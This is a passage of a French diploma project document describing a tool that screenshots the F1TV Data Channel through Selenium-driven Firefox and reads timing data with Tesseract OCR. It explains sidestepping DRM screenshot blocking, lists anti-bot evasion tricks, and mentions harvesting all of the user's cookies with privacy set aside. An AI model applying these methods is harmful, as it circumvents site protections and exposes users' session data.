estim\u00e9e \u00e0 seulement trois jours, il ne faut pas s'y m\u00e9prendre, c'est une des t\u00e2ches les plus dures et lourdes niveaux documentation en explications. Cependant, un POC (Proof Of Concept) assez avanc\u00e9 a d\u00e9j\u00e0 \u00e9t\u00e9 fait et donc cela permet de n'envisager que trois jours, car il suffit de l'impl\u00e9menter et de la paufinner. Cette t\u00e2che consiste \u00e0 prendre en entr\u00e9e un lien de Grand Prix et de sortir une image tous les x secondes de la page DATA. Cela peut sembler simple, mais pour le faire sans prendre d'espace d'\u00e9cran et ne demandant pas \u00e0 l'utilisateur de copier-coller quoi que ce soit o\u00f9 de donner ses identifiants F1TV c'est un challenge. Cela peut paraitre curieux alors de mettre cette t\u00e2che loin dans le planning m\u00eame si c'est la premi\u00e8re \u00e9tape du projet. Encore une fois cela s'explique avec le fait qu'il y a d\u00e9j\u00e0 un POC qui fonctionne \u00e0 peu pr\u00e8s et que donc pr\u00e9f\u00e8re commencer avec des t\u00e2ches plus incertaines dans le cas o\u00f9 elles prendraient plus de temps que pr\u00e9vu. PT2 Programmation OCR (5) Cette t\u00e2che consiste \u00e0 d\u00e9velopper la partie qui reconnait le texte sur les images. C'est tr\u00e8s certainement la t\u00e2che qui risque le plus de d\u00e9border car c'est celle qui est la plus complexe techniquement puisqu'elle demande non seulement la lecture sur image, mais aussi le d\u00e9veloppement d'algorithmes de traitement de cette donn\u00e9e pour \u00eatre s\u00fbr qu'elle a bien \u00e9t\u00e9 lue. J'y ai ainsi allou\u00e9 cinq jours, mais j'esp\u00e8re que j'arriverai \u00e0 gagner du temps sur les autres pour y allouer plus dans le planning effectif, car je suis convaincu que plus, on y passe du temps, meilleur sera le r\u00e9sultat. PT3 Programmation, stockage et mod\u00e8le (5) Cette partie est moins technique, mais concerne le stockage des donn\u00e9es que nous retourne la lecture des images. Mais elle va demander de la r\u00e9flexion et de l'intelligence de programmation, car il faut que cette partie anticipe les besoins de la vue et pr\u00e9pare un terrain fertile qui ne demande pas un refactor quand on passera au d\u00e9veloppement de la vue. C'est pour cela que je lui ai aussi assign\u00e9 cinq jours de travail et elle doit absolument \u00eatre commenc\u00e9e apr\u00e8s la lecture. PT4 Programmation Vue de l'APP (5) Cette partie peut \u00eatre horrible comme tr\u00e8s facile, cela d\u00e9pend compl\u00e8tement de la qualit\u00e9 du travail avant. Si le mod\u00e8le est parfait et que les donn\u00e9es sont int\u00e8gres, cela devrait \u00eatre plut\u00f4t simple de les afficher de mani\u00e8re int\u00e9ressante. Cependant, cette partie d\u00e9bordera s\u00fbrement un peu, car tout le temps gagn\u00e9 avec de bonnes donn\u00e9es sera utilis\u00e9 pour tenter de faire de la pr\u00e9diction. Pour ces raisons, je lui ai assign\u00e9 \u00e9galement cinq jours de travail et elle doit absolument \u00eatre faite apr\u00e8s le mod\u00e8le. PT5 Programmation mise en commun (3) Cette t\u00e2che est aussi un petit peu sp\u00e9ciale, car elle regroupe plusieurs choses. En gros, chaque partie de programmation sera s\u00fbrement assez ind\u00e9pendante et il faudra \u00e0 un moment faire un seul projet C# qui contient tout. Il est difficile d'estimer \u00e0 quel point cela va \u00eatre compliqu\u00e9 alors, j'ai \u00e9t\u00e9 conservateur et j'ai mis trois jours. TT Cette rubrique contient les t\u00e2ches qui sont uniquement des tests. La plupart des t\u00e2ches de programmations contiennent d\u00e9j\u00e0 des tests, mais certaines demandent une attention particuli\u00e8re. TT1 Tests OCR (2) Cette t\u00e2che est une des t\u00e2ches les plus importantes. Son but est de faire un protocole de tests complet qui permette de comparer les diff\u00e9rents algorithmes de reconnaissance de texte. Je l'ai mise apr\u00e8s la reconnaissance, mais m\u00eame maintenant en \u00e9crivant ces lignes, je me dis que dans le planning effectif, elle sera faite pendant la t\u00e2che de programmation. En effet, comment savoir si mon tout nouvel algorithme est r\u00e9ellement mieux que le pr\u00e9c\u00e9dent. Je pr\u00e9vois deux jours, car je pense que faire le dataset va prendre beaucoup de temps, il faut pr\u00e9voir un certain nombre d'images et de texte qui pourront ensuite \u00eatre donn\u00e9es sous forme de tests. C'est certes une t\u00e2che de test, mais c'est aussi de la programmation. TT2 Tests finaux (2) Cette t\u00e2che de tests est un peu vague, elle regroupe les diff\u00e9rents tests pour v\u00e9rifier que les donn\u00e9es sont bien affich\u00e9es correctement. Ce qui serait cool si j'ai du temps en fin de travail de dipl\u00f4me serait de faire un syst\u00e8me de test qui permet d'entrainer le programme \u00e0 mieux reconnaitre certaines choses comme des arr\u00eats aux stands si on lui donne les trois derni\u00e8res ann\u00e9es de grands Prix. J'ai mis une dur\u00e9e arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est \u00e9videmment \u00e0 effectuer une fois que tout est \u00e0 peu pr\u00e8s termin\u00e9. Planning effectif et diff\u00e9rences [A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Analyse fonctionnelle [A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me] Analyse Organique [A remplir au fur et \u00e0 mesure que les features sont d\u00e9velopp\u00e9es] R\u00e9cup\u00e9ration des images Voici la premi\u00e8re grande \u00e9tape du projet. Pour rappel, Amazon h\u00e9berge directement le site de la F1TV et poss\u00e8de les droits sur les donn\u00e9es de la F1. C'est sous le nom de AWS (le service d'h\u00e9bergement d'Amazon) que la firme apparait en tant que sponsor. On peut voir ce nom appara\u00eetre assez souvent quand on regarde un Grand Prix car comme ils ont la main-mise sur les donn\u00e9es ils peuvent ins\u00e8rer des bandeaux d'informations sur le flux public sur ce qu'il se passe voir m\u00eame faire des pr\u00e9dictions (Bien qu'un peu bancales) \"Exemple insertion AWS en GP\" Ce service s'appelle F1 Insights (Oui c'est un meilleur nom de projet que F1 Companion mais bon) et c'est, je pense, la raison pour laquelle on ne voit aucune API publique qui permette de correctement se renseigner en don\u00e9es en direct pendant un Grand Prix. Ils ont du d\u00e9gotter un juteux contrat pour s'occuper de toute l'infrastructure digitale de la F1 (du moins publique) en \u00e9change d'une exclusivit\u00e9 totale sur certaines choses comme les Data \"Exemple data d'AWS\" Evidemment je ne fais que conjecturer et ce que j'ai dit n'est pas \u00e0 prendre au pied de la lettre mais c'est une explication possible je pense de pourquoi il est si difficile de trouver des donn\u00e9es sur la F1 facilement en temps r\u00e9el. Il existe bien quelques API un peu bancales publiques, mais le probl\u00e8me c'est qu'elles ne sont vraiment pas suffisante et je ne peux pas leur faire confiance quand je commente. Ce qu'il m'aurait fallut c'est une API publique et officielle qui me permette d'\u00eatre sur que les donn\u00e9es sont les bonnes et qu'elles arrivent le plus vite possible. On pourrait croire que c'est impossible car cela n'existe pas comme je l'ai dit MAIS ! Ce n'est pas compl\u00eatement vrai. En effet depuis que je poss\u00e8de un abonnement \u00e0 la F1TV, il existe une source d'informations tr\u00e8s pr\u00e9cieuse qui m'aide \u00e9norm\u00e9ment dans mon quotidien de commentateur de Formule 1. La \"DATA CHANNEL\". La Data Channel est une page de la F1TV qui permet, pour chaque Grand Prix, de visualiser, sous la forme d'un flux vid\u00e9o, diff\u00e9rentes informations capitales sur la course. \"Exemple de Data Channel\" Le probl\u00e8me, c'est que comme je viens de le dire, ces donn\u00e9es ne sont pas accessibles comme un tableau HTML ou un flux RSS ou un tableau JSON. C'est un flux vid\u00e9o. Il faut savoir qu'entretenir une diffusion de flux vid\u00e9o en 1080P pendant deux heures accessible par des milliers d'abonn\u00e9s est EXTR\u00caMENT cher surtout quand on le compare \u00e0 simplement afficher les donn\u00e9es dans un tableau. Ce qui veut dire que ce choix est d\u00e9lib\u00e9r\u00e9 et a un sens au niveau \u00e9conomique. Je pense donc que c'est justement pour \u00e9viter que des petits malins puissent simplement venir scraper l'int\u00e9gralit\u00e9 des donn\u00e9es qu'ils proposent et fasse sa propre API. (C'est d'ailleurs un des sites avec la meilleure protection anti bot du monde) MAIS ce n'est pas par ce que les donn\u00e9es ne sont pas facile \u00e0 avoir qu'elles sont IMPOSSIBLE \u00e0 avoir. Et c'est la que ce projet entre en jeu. Mais pour d\u00e9coder les donn\u00e9es d'une image il faut dabord ... (roulement de tambours) ... Avoir des images ! Et c'est la que vient se glisser cette partie du projet. Comment faire ? Le but de ce segment est de se concentrer sur la r\u00e9cup\u00e8ration et la mise \u00e0 disposition pour le reste du programme, des images en direct de la F1TV dans la meilleure qualit\u00e9 possible et dans les meilleurs d\u00e9lais. Pour ce faire il y a plusieurs solutions : Reverse engeneer la F1TV pour acc\u00e8der directement au flux sans passer par la plateforme internet et pouvoir prendres images \u00e0 volont\u00e9. Avoir tout simplement une page de la F1TV ouverte sur un \u00e9cran et prendres des screenshots \u00e0 intervals r\u00e9guliers. Simuler un navigateur internet sans qu'il soit affich\u00e9 et le contr\u00f4ler automatiquement pour qu'il prenne des captures. La premi\u00e8re option aurait \u00e9t\u00e9 la plus \u00e9l\u00e9gante mais lors d'un POC que je tentais de r\u00e9aliser je me suis rendu compte que cela serait un peu trop compliqu\u00e9 et long \u00e0 faire. Sans compter le fait que les rediffusions de Grand Prix ne sont pas g\u00e8r\u00e9es de la m\u00eame mani\u00e8re que les diffusions en live. Et que pour faire des Tests en live il faudrait attendre \u00e0 chaque fois un weekend de Grand Prix et le faire en plus du commentaire que je dois produire. Pour toutes ces raisons et bien d'autres je l'ai rang\u00e9e dans la case \"Trop dur, Trop chiant, S\u00fbrement ill\u00e9gal\" (Oui je sais c'est une cat\u00e9gorie bien sp\u00e9cifique mais c'est ma documentation je fais ce que je veux) La troisi\u00e8me option aurait \u00e9t\u00e9 la plus simple (et moins dr\u00f4le) et je suis presque s\u00fbr que je peux impl\u00e9menter cette derni\u00e8re en moins d'une apr\u00e8s-midi. Sauf qu'elle apporte de gros soucis. On ne peux pas garantir l'int\u00e9grit\u00e9 et la continuit\u00e9 des donn\u00e9es si l'utilisateur avance ou fait pause m\u00eame par simple inadvertance. La moindre fen\u00eatre qui s'afficherait devant ruinerait toute la reconnaissance de caract\u00e8res. On ne peut pas contr\u00f4ler la qualit\u00e9 du flux et on est oblig\u00e9 de faire confiance en l'utilisateur On ne peut pas vraiment automatiser quoi que ce soit niveau tests ou m\u00eame pour faire du scrapping auto pour remplir une base de donn\u00e9e. Et finalement le pire inconv\u00e9nient : C'EST NUL ! Je ne pourrais jamais utiliser un projet qui fonctionne de cette facon, je ne peux pas me permettre d'avoir un \u00e9cran inutilisable quand je commente et auquel je dois constamment faire attention pour ne pas perturber la reconnaissance. Pour moi cette option aurait \u00e9t\u00e9 celle \u00e0 choisir en cas d'extr\u00eame urgence et en dernier recours car le projet deviendrait inutile. J'ai donc d\u00e9cid\u00e9 de m'occuper de la seconde option : Simuler un navigateur. Cette option bien que complexe et difficile \u00e0 impl\u00e9menter propose une solution \u00e0 tous les probl\u00eame et permet une r\u00e9cup\u00e8ration quasi sans compromis. Simuler un navigateur ? Simuler un navigateur internet n'est pas forc\u00e9ment tr\u00e8s difficile. Chromium par exemple offre une panoplie d'outils natifs et \u00e9norm\u00e9ment de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contr\u00f4ler sans afficher son UI. \"Chromium logo\" {: style=\"height:150px;width:150px\"} Cependant. La F1TV n'utilise pas simplement un player HTML5 basique. Elle utilise un service de streaming BitMovin qui permet de fournir un stream de bonne qualit\u00e9 et surtout qui impl\u00e9mente les DRM (Digital Right Management) Cela veut dire que quand on ouvre un flux de la F1TV sur chrome et que l'on essaie de prendre une capture d'\u00e9cran, le player se met en noir et ne permet pas de voir quoi que ce soit (Certaines version de Chrome le permettent pendant quelques semaines avant de bloquer \u00e0 nouveau). Ce qui dans notre cas est un immense probl\u00e8me. Mais Firefox ne nous bloque pas de cette facon et il est donc assez facile de passer outre. L'explication sans trop rentrer dans les d\u00e9tails est la suivante : Dans chrome, le player par d\u00e9faut utilise une technologie appell\u00e9e \"PCP\" ou \"Protected Content Playback\" qui leur permet de bloquer au moins une partie des techniques de r\u00e9cup\u00e8ration du flux vid\u00e9o et audio. Cependant Firefox de pas sa nature Open Source utilise \"OpenH264\" pour lire ces m\u00eames flux soumis \u00e0 des DRM et OpenH264 n'impl\u00e9mente pas les m\u00eames restrictions. Sauf que Firefox n'est pas aussi facilement \u00e9mul\u00e9 que chrome et cela r\u00e9duit notre choix de librairies \u00e0 ... Une seule... Qui est Selenium. (Il existe aussi Pupetteer C# mais j'ai rencontr\u00e9 \u00e9norm\u00e9ment de soucis avec cette derni\u00e8re d\u00e8s que je voulais lancer une vid\u00e9o) \"Firefox dev logo\" {: style=\"height:150px;width:150px\"} Mais m\u00eame si la documentation est plut\u00f4t maigre parfois, c'est une bonne librairie qui permet de tr\u00e8s bien contr\u00f4ler une instance de chrome ou de Firefox. Contr\u00f4ler le navigateur Maintenant que l'on sait quel navigateur simuler et avec quelle technologie, on peut passer \u00e0 la r\u00e9alisation. Ce qu'il y a de bien avec Selenium, c'est qu'on a un certain nombre de commandes tr\u00e8s haut niveau qui nous permettent de contr\u00f4ler un navigateur de mani\u00e8re plut\u00f4t pr\u00e9cise. Je vais d\u00e9crire ici la proc\u00e9dure habituelle utilis\u00e9e sous une forme de recette de cuisine pour que l'on puisse facilement comprendre ce qu'il se passe. Durant cette explication je vais parler \u00e0 un moment de Cookies, ne vous en faites pas c'est le sous chapitre suivant qui va vous en parler. Recette de cuisine pour r\u00e9cup\u00e8rer des images de la F1TV : D\u00e9marrer une instance de navigateur avec les bons arguments Ajouter les bons param\u00eatres pour ne pas se faire flag comme un bot Naviguer sur la page de la F1TV Ajouter les cookies de connexion pour avoir acc\u00e8s au contenu de la page Naviguer sur la page du Grand Prix demand\u00e9 Attendre un peu que la page se charge Cliquer sur l'invite de cookies Attendre cinq secondes le temps que la page se reload Cliquer sur le bouton qui permet de passer du feed live \u00e0 la DATA CHANNEL Appuyer sur Espace pour faire apparaitre le bouton d'acc\u00e8s au param\u00eatres Cliquer sur le menu d\u00e9roulant des r\u00e9solution Trouver l'option 1080P et la selectionner Cliquer sur le bouton qui met la vid\u00e9o en plein \u00e9cran Prendre de screenshots \u00e0 intervales r\u00e9guliers Pour faire toutes ces actions on doit r\u00e9cup\u00e8rer les \u00e9l\u00e9ments selon leur ID ou leur classe. Voici un exemple qui r\u00e9cup\u00e8re le bouton de plein \u00e9cran et qui clique dessus : IWebElement fullScreenButton = Driver.FindElement(By.ClassName(\"bmpui-ui-fullscreentogglebutton\")); fullScreenButton.Click(); Ca peut para\u00eetre plut\u00f4t simple dit comme ca et quand tout fonctionne ca l'est mais la difficult\u00e9 vient du fait que \u00e0 peu pr\u00e8s nimporte laquelle de ces \u00e9tapes peut rater et qu'il faut donc faire un bon syst\u00e8me de gestion d'erreurs qui puisse aider l'utilisateur en cas de probl\u00e8me. Il faut dire aussi que les sites ne sont pas forc\u00e9ment tr\u00e8s content de voir des bots passer car cela peut \u00eatre un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des syst\u00e8mes pour nous emp\u00eacher de faire ce que l'on veut On peut utiliser diff\u00e9rntes techniques pour passer outre ces restrictions comme : Changer son UserAgent Changer sa r\u00e9solution Ne pas avoir des patterns trop pr\u00e9visibles Avoir un historique Ne pas cliquer pile sur le milieu des boutons Ne pas cliquer trop vite Passer par un proxy pour ne pas se faire flag Utiliser des librairies plus discr\u00e8tes J'ai eu l'occasion de tester toutes ces methodes pour tenter de passer derri\u00e8re les radars de la F1TV et visiblement j'ai r\u00e9ussi pour les pages principales mais pas pour les pages de Login. Il faut savoir que la bataille entre bots et propri\u00e9taires de sites est un grand jeu du chat et de la souris et que les plateformes innovent constamment leur s\u00e9curit\u00e9. Et il se trouve que la partie login de la F1TV est heberg\u00e9e autre part que le reste du site chez Amazon et que elle poss\u00e8de les meilleures s\u00e9curit\u00e9s que j'aie pu voir. Aucunes des methodes que j'ai cit\u00e9es et d'autres encore que j'ai essay\u00e9 n'ont r\u00e9ussi \u00e0 fourvoyer le syst\u00e8me. J'ai donc \u00e9t\u00e9 oblig\u00e9 de faire appel \u00e0 la connexion par Cookies pour pouvoir acc\u00e8der au reste du site internet. R\u00e9cup\u00e8rer les cookies ? Alors, on va mettre de c\u00f4t\u00e9 toutes les questions de s\u00e9curit\u00e9 et de violation de la vie priv\u00e9e et de protection des donn\u00e9es des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app. [FINIR CETTE EXPLICATIOn] Calibration [AJOUTER EXPLICATION] OCR Ici je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV. C'est je pense la partie qui a demand\u00e9 le plus tests et de refactor. Toute la partie OCR a \u00e9t\u00e9 d\u00e9velopp\u00e9e dans un projet \u00e0 part avant d'\u00eatre int\u00e9gr\u00e9e dans le projet final. Il faut savoir que la reconnaissance est diff\u00e9rente celon ce que l'on cherche. Je vais donc d\u00e9composer cette partie du document en sous rubriques selon les donn\u00e9es recherch\u00e9es. Mais avant ca je dois expliquer certains concepts qui seront importants. Fonctionnement g\u00e9n\u00e9ral Voici un screenshot de la page DATA de la F1TV que le programme va recevoir : \"Screen F1TV\" Si on regarde de loin on peut se dire que la structure est plut\u00f4t simple mais c'est loin d'\u00eatre le cas. On peut y voir au moins 4 zones contenant de l'information dans un format diff\u00e9rent. \"Zones principales\" Dans l'exemple ci dessus on peut voir 3 zones mais on aurait \u00e9galement pu comprendre la zone de position des pilotes autour du circuit pour faire 4. Ces 4 zones sont tr\u00e8s diff\u00e9rentes et contiennent d'autres informations. Pour ce travail de dipl\u00f4me je ne m'occupe que de la zone principale. Mais je pense que le titre et les infos de circuit ne prendrait pas tant de temps que ca \u00e0 impl\u00e9menter. J'ai utilis\u00e9 le mot \"Zone\" plus haut et ca n'est pas juste un mot utilis\u00e9 au hasard. C'est le nom de l'objet que j'utilise pour les repr\u00e9senter dans mon programme. Mais comme c'est important de bien comprendre ce concept avant de continuer je vais vous l'expliquer. ZONE : L'objet \"Zone\" parent est un objet qui est une zone d'image. Je m'explique, le but d'une zone est d'\u00eatre un morceau d'une image plus grande. Le but d'une Zone est de contenir une liste de plus petites Zones ou bien une liste de \"Window\" (j'explique ce que c'est juste apr\u00e8s). Elle contient la portion d'image qui la concerne et ses propres dimensions. Le parent zone ne pr\u00e9voit que de pouvoir ajouter ou supprimer des \u00e9l\u00e9ments des listes de zones ou de windows ainsi qu'une methode qui permet d'aller chercher toutes informations des livres qu'elle contient. L'int\u00e9r\u00eat d'une zone est de pouvoir compartimenter une image dans des parties int\u00e9ressantes au niveau de la reconnaissance mais pas de traiter d'information. WINDOW : L'objet \"Window\" est un objet qui peut ressembler beaucoup \u00e0 l'objet \"Zone\". En effet elle aussi est une partie d'une image plus grande et contient ses dimensions, mais elle se distingue en deux points importants. Elle ne contient pas d'autres Zones ou Windows Elle peut retourner les informations \u00e9crites sur son image. Toutes les Window qui h\u00e9ritent du parent Window peuvent impl\u00e9menter une methode qui permet de renvoyer ce qui peut \u00eatre d\u00e9cod\u00e9 sur son image. Les enfants peuvent aussi aller piocher dans les nombresues methodes de r\u00e9cup\u00e8ration de donn\u00e9es contenues dans le parent Window. Mieux vaut r\u00e9utiliser le plus possible que de r\u00e9inventer la roue pour chaque Window. Une analogie un peu bancale pourrait se pr\u00e9senter comme la suivante : La zone est une armoire ou une bibliot\u00e8que. Si c'est une zone qui contient d'autres zones c'est une bibliot\u00e8que et chacune de ces sous-zones sont des armoires. Leur unique but est de contenir de mani\u00e8re ordonn\u00e9e des objets qui eux contiennent de l'information. Les livres ici sont les Windows. Ils contiennet de l'information et sont stock\u00e9s dans des armoires et on y acc\u00e8de en allant dans la bonne bibliot\u00e8que et en allant dans la bonne armoire. Derni\u00e8res choses pour comprendre le diagramme: Il existe une Main Zone qui est une des 4 grandes zones dont je parlais dans la d\u00e9composition de l'image. Il existe aussi des \"Driver Zone\" qui sont de plus petites zones contenues dans la Main Zone qui et qui ne contiennent que les informations d'un pilote. L'objet Window n'est quasi jamais utilis\u00e9, c'est presque tout le temps des enfants de Window plus sp\u00e9cifiques qui sont utilis\u00e9s, le but est que chaque type d'information sur l'image aie son type de window. Voila donc un petit diagramme qui montre le d\u00e9coupage du programme : \"Diagramme explicatif de l'architecture des zones\" Pour visualiser encore un peu mieux comment ce d\u00e9coupage prend forme voici ce que chaque zone et Window contient. Main Zone : \"Exemple zone principale\" Driver Zone : \"Exemple zone de pilote\" Driver Position Window : \"Exemple de fen\u00eatre de position\" Driver name Window : \"Exemple de fen\u00eatre de nom\" Driver LapTime Window : \"Exemple de fen\u00eatre de temps au tour\" Driver Tyre Window : \"Exemple de fen\u00eatre pneus\" Il existe d'autres types de Window mais ce sont les principaux. On se rend assez facilement compte que chacunes de ces windows va avoir besoin d'un traitement sp\u00e9cifique car la mani\u00e8re de reconnaitre le pneu utilis\u00e9 et le temps au tour ne peut pas \u00eatre la m\u00eame. Pour r\u00e9sumer, on a un programme qui prend en entr\u00e9e un fichier de configuration, qui prend des images de la F1TV et les d\u00e9coupe dans des ZONES qui elles m\u00eame sont d\u00e9coup\u00e9es en WINDOWS pour qu'on puisse plus facilement les d\u00e9coder. Maintenant qu'on a une liste de diff\u00e9rent types de zones on peut commencer \u00e0 chercher ce qu'il y a marqu\u00e9 dessus. Pour cela il faut dabord comprendre un petit peu comment l'OCR fonctionne et comment des libraries comme Tesseract fonctionnent pour donner du texte en partant d'une image. Pour faire tr\u00e8s simple, nous avons un mod\u00e8le qui est entrain\u00e9. C'est \u00e0 dire que on donne \u00e0 un programme un tr\u00e8s grand nombre de mots ou de lettres en lui disant ce que contiennent chaques images. Ensuite le programme va cr\u00e9er des matrices de convolutions pour chaque lettre avec comme objectif de detecter les points communs entre les lettres pour cr\u00e9er un alpphabet. Par exemple la matric de la lettre 'H' donnerait un poids important \u00e0 des lignes verticales connect\u00e9es par une ligne centrale. Et si on fournis assez de donn\u00e9es de bonne qualit\u00e9 au mod\u00e8le, les matrices peuvent \u00eatre tr\u00e8s efficace \u00e0 detecter si une lettre est un H ou un M. Il y a pleins d'autres methodes comme l'utilisation d'un dictionnaire de mots de la langue pour permettre la reconnaissance de mots m\u00eame si une lettre au milieu n'est pas comprise ou en ajoutant d'autres informations sur le contexte mais ca ne nous int\u00e9resse pas ici. C'est important de comprendre comment cette reconnaissance de caract\u00e8res avec des matrices fonctionne car cela va nous aider \u00e0 pr\u00e9parer nos donn\u00e9es pour lui rendre la vie facile et augmenter la pr\u00e9cision de nos r\u00e9sultats. Filtres et traitement On peut essayer de donner toutes nos images directement \u00e0 Tesseract pour qu'il reconnaisse tout le texte qu'il y voit mais on risque de se retrouver avec des r\u00e9sultats au mieux inconsistents. Dans notre cas, le soucis est que les chiffres et lettres sont beaucoup trop petits. Ils ne font parfoisd que 10 pixels de haut et cela fait que il n'est pas forc\u00e9ment facile de toujours les diff\u00e9rencier. De plus, comme ils sont petits, les art\u00e9facts d'aliasing sont assez violents et peuvent grandement d\u00e9former une lettre ou un chiffre. Exemple : Prenons le chiffre 9. Dans l'image il peut \u00eatre repr\u00e9sent\u00e9 de cette mani\u00e8re : \"Exemple de chiffre avant post traitement\" On peut voir qu'il est flou, pour nous cela ne pose pas de probl\u00e8me et je pense que \u00e0 peu pr\u00e8s nimporte qui peut dire que c'est un 9. Cependant comme les contours sont flous et m\u00eame si on essaie de retirer le background : \"9 avec anti aliasing\" On voit que le 9 n'est pas clairement d\u00e9finit. En effet on pourrait le comprendre comme : \"Premier exemple de contours\" Ou comme : \"Second exemple de contours\" Voire m\u00eame simplement comme : \"Exemple de coutour g\u00e9n\u00e9reux\" Et on se rend bien compte que les performances de detection ne sont pas les m\u00eames dans ces trois cas. Il faut donc faire un certain post traitement des images pour supprimer les \u00e9l\u00e9ments parasites, les couleurs, et augmenter la visibilit\u00e9 des contours importants. Mais chaque type de donn\u00e9e va avoir des methodes de post traitement diff\u00e9rents. Donc voici les diff\u00e9rents types de reconnaissance et leur post traitements : Texte Alors ce type de reconnaissance est utilis\u00e9 par la WINDOW du nom de pilote et de la position du pilote. C'est je pense la plus simple de toutes car Tesseract est particuli\u00e8rement bien entrain\u00e9 pour. Cette reconnaissance concerne donc des lettres qui font des mots ou des noms. Voici un exemple de la WINDOW nom de pilote en entr\u00e9e : \"Exemple texte cru\" Ce texte peut paraitre bon, cependant quand on le lance dans Tesseract, il ne va pas toujours donner un r\u00e9sultat parfait. Il faut aussi savoir qu'il y a des noms pas mal plus p\u00e9nibles que Tesseract a plus de mal \u00e0 reconnaitres, soit \u00e0 cause des lettres utilis\u00e9es, soit car le nom est un nom d'une autre r\u00e9gion et qui ne veut rien dire en anglais ce qui emp\u00eache l'utilisation de dictionnaire (Ex : Tsunoda est un nom japonais et parfois il est difficile pour Tesseract de le reconnaitre car si une lettre pose probl\u00eame il ne peut pas trouver de contexte qui puisse l'aider). Donc pour le rendre plus facilement lisible et augmenter les chances que toutes les lettres soient d\u00e9couvertes, voici les \u00e9tapes que j'ai mis en place. 1 : J'inverse les couleurs. Je me suis rendu compte que il \u00e9tait souvent plus facile de trouver un noir sur blanc que blanc sur noir. Je ne suis pas sur que cette \u00e9tape soit capitale cependant. \"Texte invers\u00e9\" 2 : Je fais un Treshhold de 165 car avec moins le texte parfois prend trop du background et avec plus les lettres sont trop fines. \"Texte apr\u00e8s Treshold\" 3 : Je fais un Resize de l'image pour avoir une meilleure r\u00e9solution et permettre une meilleure d\u00e9tection. J'augmente la hauteur et la largeur par un facteur 2. J'ai trouv\u00e9 cette valeur suffisante et aller plus haut consomme beaucoup de ressources. \"Texte apr\u00e8s Resize\" 4: Je fais une tr\u00e8s rapide Dilatation du texte pour retirer le flou amen\u00e9 par la methode de Resize. Je n'utilise qu'une valeur de 1 car je ne veux pas trop changer comment le texte est model\u00e9 je veux juste retirer le flou. \"Texte apr\u00e8s Dilatation\" Explication des methodes pr\u00e9cises plus bas Voila pour ce qui est du post processing. Je ne dis pas que ce sont les meilleurs param\u00eatres possibles mais dans mes tests ce sont ceux qui ont le mieux march\u00e9s. C'est aussi les premi\u00e8res methodes que j'ai pu d\u00e9velopper alors forc\u00e9ment elles n'ont pas le niveau de d\u00e9tails de certaines autres. Mais comme m\u00eame avec ce traitement il n'est pas rare que je me retrouve avec une ou deux lettres pas justes, il faut un moyen d'\u00eatre s\u00fbr que c'est le bon nom qui est trouv\u00e9. Ce qu'il y a de pratique avec les noms de pilotes c'est que on sait d\u00e9ja comment ils s'appellent avant le Grand Prix. En effet dans le fichier de configuration de la reconnaissance, il y a une liste de noms de pilotes. Cela veut dire que au lieu de chercher \u00e0 trouver parfaitement les bonnes lettres, on peut simplement essayer de trouver quel nom de pilote ressemble le plus au nom trouv\u00e9 sur l'image. Pour ce faire j'ai utilis\u00e9 une methode appel\u00e9e la distance de Levenshtein. Pour faire simple c'est une methode qui va calculer les distances de lettres pour determiner entre des strings laquelle ressemble le plus \u00e0 une autre. Pour r\u00e9sumer le fonctionnement dans lordre : On prend l'image on la traite On envoie l'image trait\u00e9e \u00e0 Tesseract On trouve quel nom de pilote ressemble le plus \u00e0 ce r\u00e9sultat On renvoie le nom du pilote Chiffres Cette methode en r\u00e9alit\u00e9 utilise simplement la m\u00eame methode que celle qui va r\u00e9cup\u00e8rer le texte sur une image. Cependant, la, on envoie \u00e0 Tesseract l'information qu'il ne peut trouver que des chiffres sur l'image ce qui lui permet d'\u00eatre beaucoup plus pr\u00e9cis et de ne pas confondre un 9 avec un P ou un 11 avec un H PAR EXEMPLE (non pas que ca me soit arriv\u00e9 tr\u00e8s r\u00e9guli\u00e8rement et que ca me soit rest\u00e9 dans la gorge \u00e9videmment) L'avantage c'est que cette methode ne demande m\u00eame pas de traitement de la donn\u00e9e en sortie de Tesseract. On \u00e9sp\u00e8re simplement que le post traitement aura suffit. TEMPS : Cette methode regroupe la d\u00e9tection de temps au tour. Il y a trois grands types de WINDOW qui sont concern\u00e9es : La WINDOW du temps au tour La WINDOW du retard sur le leader La WINDOW des secteurs La grande diff\u00e9rence ce sont les ordres de grandeur. Les temps au tour sont en g\u00e9n\u00e9ral entre 50 secondes et 2 minutes. Tandis que les secteurs sont entre 20 et 30 secondes alors que le retard sur le leader peut-\u00eatre de plusieurs minutes. Cependant, tous ces temps poss\u00e8dent le m\u00eame type de post-traitement avant d'\u00eatre envoy\u00e9s \u00e0 Tesseract. Voici un exemple de temps au tour avant toute transformation : \"Temps au tour avant traitement\" On peut avoir l'impression que ce texte est tout \u00e0 fait lisible et facile \u00e0 d\u00e9coder surtout quand on le voit de loin comme ca. Cependant, il faut imaginer que ces chiffres font 13 pixels de haut en comptant le flou et comme expliqu\u00e9 plus haut ce flou dans ces echelles est terrible. \"Temps au tour zoom\u00e9\" Si on donne cette image \u00e0 Tesseract, les '3' deviennent des '9', des '9' deviennent des '8', des '2' deviennent eux aussi des '9', le tout parfois inversement et de mani\u00e8re compl\u00eatement impr\u00e9visible. Ca n'est simplement pas utilisable. Cette partie est un peu plus complexe car si la detection n'est pas fiable les chiffres sont simplement inutilisables. Si \u00e0 tout moment un temps au tour de 1:39.106 devient 1:32.108 c'est juste pas possible. Voici donc les \u00e9tapes de post-traitement que j'ai mis en place pour leur d\u00e9tection : 1: J'applique un Treshold de 185 pour enlever les ambiguit\u00e9s d'alisaising et avoir une image en noir et blanc claire. La valeur de 185 est assez \u00e9lev\u00e9e car le but est de vraiment garder uniquement les contours. Comme les chiffres se ressemlent beaucoup plu que les lettres, il faut tenter le plus possible de conserver leur formes sp\u00e9cifiques. Je me suis rendu compte que cette valeur \u00e9tait une de celles qui marchent le mieux. \"Temps au tour apr\u00e8s Treshold\" 2: J'applique un Resize de 2 pour augmenter la r\u00e9solution des chiffres et permettre une meilleure d\u00e9tection. Le but est d'avoir plus de pixels et donc de permettre \u00e0 Tesseract de mieux utiliser ses matrices de convolution. 